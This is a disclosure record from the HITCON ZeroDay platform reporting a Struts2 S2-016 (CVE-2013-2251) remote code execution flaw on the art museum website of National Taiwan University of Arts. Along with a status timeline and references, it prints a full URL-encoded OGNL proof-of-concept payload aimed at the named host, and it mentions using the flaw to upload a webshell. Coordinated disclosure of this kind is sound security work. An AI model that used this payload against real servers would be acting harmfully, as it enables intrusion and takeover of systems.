Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-00336
- Vendor: 台灣藝術大學
- Title: 藝術博物館 Struts2 S2 - 016 Getshell
- Introduction: CVE-2013-2251
處理狀態
目前狀態
公開
Last Update : 2017/06/09
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2017/04/09 12:30:10 : 新提交 (由 aaa 更新此狀態)
- 2017/04/10 00:04:13 : 審核完成 (由 HITCON ZeroDay 平台自動更新)
- 2017/04/10 17:28:33 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/04/10 17:28:33 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/06/09 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2017-00336
- 通報者:honc (aaa)
- 風險:高
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
Poc Payload:
http://museum.ntua.edu.tw/menu/Main.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
http://museum.ntua.edu.tw/menu/Main.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
敘述
存在2013 年提出的S2-016 舊版漏洞,因暴露本地網站路徑可上傳相關Webshell 來實現掛頁等獲取該網站服務器權限
Shell Test:
擷圖
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